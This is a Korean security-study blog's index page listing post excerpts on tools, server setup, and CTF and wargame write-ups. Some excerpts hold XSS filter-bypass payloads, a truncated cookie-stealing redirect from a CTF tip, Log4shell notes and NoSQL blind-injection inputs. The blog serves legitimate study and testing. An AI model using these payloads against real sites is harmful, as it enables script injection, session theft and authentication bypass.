티스토리

Limelee
검색하기

블로그 홈

Limelee

blog.limelee.xyz/m

웹/모바일 보안 공부

구독자
2
방명록 방문하기
공지 작성된 게시글의 내용을 악의적인 목적⋯ 모두보기

주요 글 목록

  • Burp Suite에서 Custom 필터링: Bambdas 사용하기 Burp Suite의 History 및 Logger 탭에서는 다양한 필터링 기능을 제공하지만, 문자열 검색 범위를 response로 제한하거나, 특정 헤더가 포함된 request로 필터링하고 싶을 때 아쉬운 부분이 있다.이런 경우에 유용한 기능이 Bambdas. Fiddler Classic의 커스텀 스크립트와 같이 정교한 필터링을 구현이 가능하다. Bambdas 예시Proxy > HTTP history > Filter settings에서 Bambda mode 를 선택하면 커스텀 필터를 작성할 수 있다. Montoya API를 기반으로 작성하고, 메소드 등은 공식 홈페이지 문서 페이지에서 확인 가능하다. 예시로 response에서만 특정 문자열을 검색하려면 다음과 같은 코드를 작성할 수 있다. if (re.. 공감수 0 댓글수 0 2024. 6. 20.
  • gandalf.lakera.ai 보호되어 있는 글입니다. 공감수 0 댓글수 0 2024. 6. 17.
  • SFTP Chroot 감옥 사용자 생성 일부 사용자끼리 특정 디렉터리 내 읽기/쓰기 권한을 주어 파일을 공유하고 싶다.공유 계정은 아래의 조건을 만족해야 한다. 공유 계정은 SSH 접근 불가능지정된 공유 디렉터리 상위로 이동 불가SSH 서버의 sshd_config 설정을 통해 어렵지 않게 구현할 수 있다. 1. 사용자 생성먼저 공유할 계정을 생성한다.쉘 접근이 불필요한 계정일 경우 nologin으로 설정한다.$ useradd share$ passwd share$ vi /etc/passwdshare:x:1010:1010::/home/share:/usr/sbin/nologin 2. sftp & Chroot 적용아래의 sshd_config 설정을 적용하면 ssh로 쉘에 접근 할 수 없다.$ vi /etc/ssh/sshd_configSubsystem.. 공감수 0 댓글수 0 2024. 4. 1.
  • eval()과 Function 생성자의 Scope eval을 절대 사용하지 말 것! eval() - JavaScript | MDN**eval()**은 문자로 표현된 JavaScript 코드를 실행하는 함수입니다.developer.mozilla.org eval()은 인자로 받은 코드를 caller의 권한으로 수행하는 위험한 함수입니다. Function으로는 실현할 수 없는 공격이 가능합니다. 라고 작성되어있는데 정확히 이게 무슨 소린가 싶다. 그래서 좀 찾아봤다. 자바스크립트에는 스코프(Scope)라는게 있는데 전역 스코프, 블록 스코프, 함수 스코프가 존재한다.  JavaScript ScopeW3Schools offers free online tutorials, references and exercises in all the major languages.. 공감수 0 댓글수 0 2024. 1. 12.
  • Github Actions로 push 이벤트 발생 시 내 서버로 배포 자동화하기 GitHub 리포지토리의 Actions 탭에서 CI/CD 플랫폼을 이용해 빌드, 테스트, 배포 등을 자동화할 수 있다. 공식 문서이 GitHub Actions를 이용해 특정 브랜치에 push 이벤트가 발생할 때 설정된 서버로 자동 배포를 구현해보기로 한다.  1. GitHub Actions 설정 리포지토리의 Actions 탭을 클릭하면 자동화된 워크플로우를 설정할 수 있다.  "Set up a workflow yourself" 옵션을 선택하여 직접 작성할 수 있다.  GitHub Actions의 워크플로우는 YAML 파일로 작성되며, 공식 문서를 참고하여 문법을 확인할 수 있다. Workflow syntax for GitHub Actions - GitHub DocsA workflow is a config.. 공감수 0 댓글수 0 2023. 9. 5.
  • String, Number형 변수를 이용한 XSS Bypass 1. 문제 사용자의 입력 값을 script 태그 안의 변수에 선언하는 경우가 있다. // Request https://test_page.xyz/test?code=CODE&mode=ACD&value=test&count=1&dept=0&name=%ED%85%8C%EC%8A%A4%ED%8A%B8 // Response 필터링이 미흡할 경우 사용자 입력 값에 악의적인 스크립트를 넣어 실행할 수 있다. 그래서 필터링을 적용해보았다. 탐지하는 문자는 다음과 같고 탐지하는 문자를 사용 시 페이지 자체가 차단되도록 했다. ' " ` %0d %0a ; %20 () [] {} . + - string href concat document script alert confirm prompt console.log eval .. 공감수 0 댓글수 0 2023. 8. 8.
  • JSFuck과 Function 객체 생성자를 이용한 XSS Bypass 0. 서론 스크립트 태그 영역 안에서 별도의 태그나 이벤트 핸들러를 사용하지 않고 XSS 취약점을 터트리는 경우 서버에서 XSS 스크립트 실행에 사용해야 할 함수(여기서는 'alert' 를 예시로 든다.) 값 자체를 필터링하고 있다면 이를 우회하기가 쉽지가 않다. 필터링되어 있지 않은 비슷한 함수 confirm, prompt 등으로 대체하거나 서비스 자체의 필터링을 이용한 방법*을 이용하는게 아니라면 alert 자체를 우회하긴 어렵다. * 페이지를 불러오기 전 백엔드에서 "abc"를 공백으로 치환하는 서비스 자체의 시큐어코딩이 되어있을 경우 "alabcert"를 입력하여 우회 등등 그러나 해당 스크립트를 문자열을 실행할 수 있다면 이런 제한에서 비교적 자유로워 질 수 있다. 우회 예시 => 문자열 합치기.. 공감수 0 댓글수 0 2023. 7. 19.
  • Raspberry Pi 3 안전하게 종료하기 라즈베리파이는 전원 소켓에 플러그를 꽂으면 자동으로 부팅된다. 하지만 종료할 때 전원 소켓을 그냥 뽑으면, 부트 영역이 손상되어 부팅이 되지 않을 위험이 있다. 안전하게 종료하려면 아래 명령어를 사용해야 한다.$ sudo poweroff  플러그 뽑았다가 주말 내내 작업하던 데이터를 모두 날려버렸다.기존에도 라즈베리파이 플러그를 바로 뽑아 종료했었는데, 그동안 운이 좋았던 것 같다. 반드시 안전하게 종료하도록 하자. 공감수 0 댓글수 0 2023. 4. 17.
  • Raspberry Pi 3 메일서버(sendmail) 구축 1. Sendmail 설치먼저, 아래 명령어를 통해 sendmail과 관련 패키지를 설치한다.apt-get install sendmail sendmail-cf 설치 도중 "Creating SSL certificates for sendmail." 단계에서 설치가 멈춘다면, Ctrl+C로 설치를 중단한 뒤 아래 명령어를 실행한다.cd /etc/mail/tlssudo openssl dsaparam -out sendmail-common.prm 2048sudo chown root:smmsp sendmail-common.prmsudo chmod 0640 sendmail-common.prmsudo dpkg --configure -ahttps://askubuntu.com/questions/937666/ubuntu-16.. 공감수 0 댓글수 0 2022. 7. 25.
  • Raspberry Pi 3 하드디스크 마운트 및 파일 서버 구축 로컬이나 용량이 작은 여러 usb에 분산해서 저장해놓으니까 막상 원하는 파일이 어디에 있는지 몰라서 이 usb, 저 usb 뒤적거리다 결국은 못찾는 경우가 여럿있었다. 그래서 어차피 라즈베리파이는 웹 서버 때문에 24시간 구동도 하겠다. 파일서버 하나 구축하면 접근성도 쉽고 어떤 파일을 찾고 있는지도 용이할 것 같다. 라즈베리파이 3 에서 부팅을 위한 sd card는 아무래도 용량이 기대한 만큼 크지가 않기에 하드디스크를 하나 구매한 뒤 마운트 해서 사용해보자. 라즈베리파이 3는 이동을 자주하는게 아니므로 외장용 하드디스크 말고 그냥 일반 하드디스크를 구매했다. 용량은 4TB. SATA-USB 변환 케이블로 하드디스크에 전력 공급 및 라즈베리 파이에 연결 시켜줬다. $ sudo lsblk lsblk를 이.. 공감수 0 댓글수 0 2022. 5. 27.
  • XSS Bypass in window.location 사용자의 입력 값이 window.location의 속성이나 메소드에 반영되는 서비스들이 종종 있다. 보통 XSS가 발생하는 공격 벡터인데 XSS 방지를 위해 싱글쿼터 또는 더블쿼터를 escape 처리를 해두기도 한다. 이것은 간단한 페이로드로 우회가 가능하다. 사용자의 입력 값이 javascript 단의 location.href 속성 값에 반영된다고 가정. - https://test.com?url=test';alert(1)// 싱글쿼터가 escape처리되어 원하는 스크립트 실행이 힘들어 보인다. - https://test.com?url=javascript:alert(1) 싱글쿼터 혹은 더블쿼터 escape 우회없이 스크립트 실행이 가능하다. window.location.href 속성 외 일부 메소드에서도.. 공감수 0 댓글수 0 2022. 5. 3.
  • 아파치 HTTP 인증(Basic/Digest authentication) 적용 files 디렉토리는 HTTP 파일 서버를 위해 일부러 인덱싱이 허용되어있다. 이 중 test 디렉토리는 모두가 접근 가능하게 만들되, public(/home/Tools/)이라는 디렉토리는 접근 가능한 사용자를 제한하고 싶다. 이를 위해 아파치 HTTP 인증을 서버에 적용해보고자 한다. 1. HTTP 인증을 하고 싶은 디렉터리에 .htaccess 파일 생성 2. HTTP 인증 사용자 생성 Basic 인증을 사용할 시 1), Digest 인증을 사용할 시엔 2)을 수행한다. 1) Basic 인증 시 $ htpasswd -c .htpasswd [사용자 ID] 2) Digest 인증 시 $ htdigest -c .htdigest '[Auth Name]' [사용자 ID] 사용자 ID, 2번의 PW 입력 후 .h.. 공감수 0 댓글수 0 2022. 4. 28.
  • Log4shell(CVE-2021-44228) + JNDI Injection - log4shell log4j는 자바 로깅 프레임워크 중 하나인데 넘겨받은 값을 문자열 그대로 저장하는 것이 아니라 lookups 기능에서 해석할 수 있는 형태면 해당 문자열을 실행한다. CVE-2021-44228에서는 JNDI Lookup을 이용해서 공격자의 서버에 있는 악성 페이로드를 요청한다. - JNDI Injection 피해자의 서버에 익스플로잇을 하기 위해 사용하는 JNDI Injection도 이해할 필요가 있다. 공격자의 LDAP(또는 rmi) 서버에서 JNDI Naming Reference를 반환하고 피해자의 서버는 Reference Object의 Codebase URL이 가르키는 신뢰되지 않는 악성 클래스 파일을 인스턴스화한다. (log4shell exploit flow 참조) 위 JN.. 공감수 0 댓글수 0 2021. 12. 17.
  • [Vulhub] 설치 및 실행 방법 1. 개요 1-day 취약점 분석 시 취약한 버전의 어플리케이션, 환경설정 등이 구성되어야 함. Vulhub는 docker를 이용하여 환경 구성의 번거로움을 해결해준다. 해당 문서는 Vulhub 를 이용해 취약점 환경 테스트를 구성하는 방법을 기술한다. 단, Vulhub는 모든 CVE를 지원하지는 않음. 2. Vulhub 설치 1) 가상머신 설치(optional) Ubuntu 64bit iso 설치 (link) VMWare Workstation 설치 (link) VMWare에 Ubuntu 설치 2) docker, docker-compose 설치 terminal 실행 관리자 권한 상승 limelee@ubuntu:~$ sudo su [sudo] password for limelee: root@ubuntu:/.. 공감수 0 댓글수 0 2021. 9. 1.
  • Hacking Camp CTF 2021 write up web, mobile만 1. World Wide Web World Wide Web 플래그 경로는 /tmp/flag 에 있습니다. https://steemit.com/kr/@huti/phpmyadmin-local-file-inclusion-cve-2018-12613 phpmyadmin Local File Inclusion 취약점(CVE-2018-12613) 재분석 — Steemit 악의적인 사용을 금합니다. 법적 책임은 본인에게 있습니다. 무단 도용/복제를 급합니다. 본 글의 저작권은 huti에게 있습니다. URL에 파일 경로를 포함하면, 사용자가 웹서버에 있는 파일을 열람 steemit.com phpMyAdmin에서 target 파라미터로 전달되는 값에 대해 유효성 검사를 하고 있으나 이를 우회하여 임의.. 공감수 0 댓글수 0 2021. 8. 18.
  • [Burp Suite] 업데이트 후 Render 기능 사용 시 Embedded browser initialization failed 에러 버프스위트 커뮤니티를 쓰다 어느 순간 Render 기능을 사용할 수 없게 되었다. 오른쪽 상단에 업데이트 메시지창을 보고 업데이트 했던 게 의심스럽다. 증상은 Embedded browser initialization failed 라는 에러 메시지가 출력된다. 자세한 에러 메시지가 필요할 듯 하다. Help > Embedded Browser Health Check 에서 확인 가능하다. manifest.properties 파일이 없다고 한다. 그래서 해당 디렉터리로 이동하려고 했더니 이동이 안된다. 뭔가 싶어 디렉터리를 하나하나 따라가니 manifest.properties 파일이 있는 디렉터리 명이 변경되었다. 90.0.4430.212을 91.0.4472.101로 변경해준 뒤 버프스위트를 재실행했다. 디렉터.. 공감수 0 댓글수 1 2021. 6. 23.
  • [Python] requests 라이브러리 프록시 툴로 패킷 캡쳐하기 Python version 3.9.4 Package 'requests' version 2.25.1 예전엔 알아서 패킷을 잡았던 거 같은데 최근에 다시 돌리려 하니 프록시 설정을 킨 상태에서 요청하면 에러가 발생한다. 기존 GET 방식으로 요청 보내는 코드 import requests URL = 'https://limelee.xyz' res = requests.get(URL) print(res) 실행 시 이렇게 오류가 난다. 그래서 proxies 옵션을 추가해주었다. import requests proxies = {'http' : 'http://127.0.0.1:8080', 'https' : 'http://127.0.0.1:8080'} URL = 'https://limelee.xyz' res = reque.. 공감수 2 댓글수 2 2021. 4. 19.
  • [Frida] 앱 진단 시 유용한 우회 Script 1. 화면 캡쳐 우회 gist.github.com/su-vikas/36410f67c9e0127961ae344010c4c0ef FRIDA script for bypassing Android FLAG_SECURE FRIDA script for bypassing Android FLAG_SECURE. GitHub Gist: instantly share code, notes, and snippets. gist.github.com 2. ssl pinning 우회 https://codeshare.frida.re/@akabe1/frida-multiple-unpinning/ Frida CodeShare codeshare.frida.re https://gist.github.com/1mm0rt41PC/4f37f3df5526.. 공감수 1 댓글수 0 2021. 3. 24.
  • [apktool] appguard 난독화 앱 디컴파일 및 리패키징 오류 해결 디컴파일 오류 : brut.directory.DirectoryException: Error copying file: assets java -jar apktool_2.5.0.jar d test.apk -o test I: Using Apktool 2.5.0 on test.apk I: Loading resource table... I: Decoding AndroidManifest.xml with resources... I: Loading resource table from file: C:\Users\home\AppData\Local\apktool\framework\1.apk I: Regular manifest package... I: Decoding file-resources... I: Decoding val.. 공감수 1 댓글수 1 2021. 3. 11.
  • [Openssl] Window 환경에서 Openssl 사용 1. 설치 파일 https://code.google.com/archive/p/openssl-for-windows/downloads Win32/Win64 OpenSSL Installer for Windows - Shining Light Productions Minimum system requirements: Windows XP or later 32MB RAM 200MHz CPU 30MB hard drive space Recommended system requirements: Windows XP or later 128MB RAM 500MHz CPU 50MB hard drive space April 21, 2020 - All users and applications should be using the Open.. 공감수 0 댓글수 0 2020. 6. 17.
  • canhackme canhackmeMisc 문제 1, Server-Side 문제 4, XSS 문제 10XSS 문제 팁문제 안에는 아무런 힌트가 존재하지 않고 어떤 류의 문제인지는 문제 설명페이지 오른쪽 하단 해쉬태그 형식으로만 알려준다. 문제의 목적이 대체로 불친절하므로 삽질했던 부분에 대해 적어둔다. 1. 자신의 서버로 이동하는 XSS 스크립트가 담긴 url을 tester페이지에 요청하면 쿠키를 확인 가능하다.2. tester페이지가 사용하는 Google Chrome 68.0.3440.75. 에는 Chrome Auditor 라는 XSS 필터링이 존재하므로 XSS 필터링 우회가 반드시 필요하다. 문제 PayloadJSONhttps://json.canhack.me/?%3Cscript%3E=;document.location=.. 공감수 0 댓글수 0 2019. 12. 30.
  • Raspberry Pi 3로 WOL 패킷 전송 하루종일 데탑을 켜놓기엔 전기세 아깝고 하루종일 돌아가고 있는 라즈베리 파이 서버를 이용해서 WOL을 구현하면 어떨까 싶어 환경을 만들었다. 참고로 라즈베리파이에 외부접근이 이미 설정되어 있는 전제 하에 작성된 글이다. 오직 WOL을 위해 라즈베리파이를 사서 OS도 올리고 포트포워딩도해주고 원격접속 설정도 해줄 거라면 iptime 공유기나 팀뷰어 등 유명한 기업들에서 이런 기능을 이미 지원하고 있기 때문에 그 쪽을 이용하는 것이 용이하다. WOL은 Wake On Lan으로 특수한 매직 패킷으로 원격에서 부팅하는 기술이다. 워낙 유명한 기술이기 때문에 팀뷰어나 iptime에서 기능을 다 지원하고 있다. 팀뷰어와 iptime이 지원하는 WOL의 형태는 다음과 같다. 팀뷰어의 경우 외부의 어느 포트와 원격 부.. 공감수 0 댓글수 5 2019. 12. 24.
  • Webhacking.kr(old) 52번 리뉴얼 전의 웹해킹 문제를 풀어본 사람이라면 리뉴얼 전 문제에서 어느정도 힌트를 찾을 수 있다. 이전 문제는 입력 벡터 하나에 파라미터로 헤더에 특정 값만 삽입하면 클리어되었기 때문에 해당 문제의 기술이 언제 쓰이는가에 대한 시나리오 적인 요소를 추가해서 리뉴얼한게 의도가 아닌가 싶다. admin 페이지와 proxy 페이지 가 존재하고 admin 페이지에서 인증 로그인을 실패했을 때 admin페이지의 소스코드 URL을 볼 수 있다. 소스코드는 아래와 같다. view-source 세션이 존재할 때와 존재하지 않을 때, 두 부분으로 나눠서 분석한다. 먼저 세션이 존재하지 않을 때에 소스 if($_SERVER['PHP_AUTH_USER']){ $id = $_SERVER['PHP_AUTH_USER']; $pw .. 공감수 0 댓글수 0 2019. 12. 5.
  • Webhacking.kr(old) 4번 웹케알이 리뉴얼 되었다. 너무 옛날 버전의 취약점은 약간씩 고쳐지고 문제의도를 잘 모르겠는 문제들도 개편되었다. 4번도 이에 해당된다. 기존문제는 base64로 인코딩된 값을 풀어 나오는 sha1의 값을 rainbow 테이블로 찾아내면 되는 문제였다. sha1의 레인보우 테이블은 웹에서 지원하는 경우가 많기 때문에 쉽게 찾을 수 있었지만, 리뉴얼 되면서 의도된 바는 레인보우 테이블이 어떻게 만들어지는 지에 대한 원리를 직접 느껴보길 바라는 의도인 것으로 보인다. 바뀐 문제를 풀어보자. Password [view-source] $hash = rand(10000000,99999999)."salt_for_you"; 10000000에서 99999999 사이의 숫자를 하나 뽑아 salt_for_you와 합친다. .. 공감수 2 댓글수 3 2019. 11. 13.
  • [Tools] Web, Mobile 취약점 진단 분석 Tool & 설정 Web, Mobile 취약점 진단 분석 Tool & 설정 포맷하고 생각해내기 귀찮음. USB 복구 드라이브 만들자. NetWork Tool WireShark sslyze (환경변수 설정) ncat (윈도우 방화벽 디바이스 허용/환경 변수 설정) Proxy Tool Fiddler Tools > HTTPS > decrypt HTTPS traffic Rules > Remove All Encodings Burp Suite Community 크롬 확장 프로그램 EditThisCookie 언어 및 플랫폼 java jdk 8 Python 2.x, 3.x (2.x, 3.x 둘 다 설치 후 환경변수 설정 / 2.x의 python.exe를 python2.exe로 변경) adb(sdk manager) (환경변수 설정) 안드.. 공감수 0 댓글수 1 2019. 11. 5.
  • [LOS] incubus 소스코드 분석 공감수 0 댓글수 0 2019. 7. 26.
  • [LOS] siren 소스코드 분석 1. $db = mongodb_connect(); > DB 환경 MongoDB 2. if($result['pw'] === $_GET['pw']) solve("siren"); > 요청값과 반환 값을 엄격한 비교. pw를 알 필요가 있으므로 Blind SQL Injection 시도 문제 풀이 pw 값을 알아야 하므로 $ne를 사용하여 인증우회 할 수 없다. 이번엔 부등호인 $gt를 이용하여 pw 값을 한자리 씩 알아낸다. 다음과 같이 요청한다. ?id=admin&pw[$gt]=3 ?id=admin&pw[$gt]=1 두 번의 요청으로 pw가 1보다는 크지만 3보다는 작다는 것을 알 수 있다. pw의 첫 글자는 1이거나 2일 것이다. 이런 식으로 참과 거짓으로 패스워드 값을 유추해 나간다. 부등호.. 공감수 1 댓글수 0 2019. 7. 26.
  • [LOS] cerberus 소스코드 분석 공감수 0 댓글수 0 2019. 7. 26.
  • [LOS] kraken 소스코드 분석 공감수 1 댓글수 0 2019. 7. 26.
  • [LOS] mummy 소스코드 분석 공감수 0 댓글수 0 2019. 7. 26.
    문의안내
    • 티스토리
    • 로그인
    • 고객센터

    티스토리는 카카오에서 사랑을 담아 만듭니다.

    © Kakao Corp.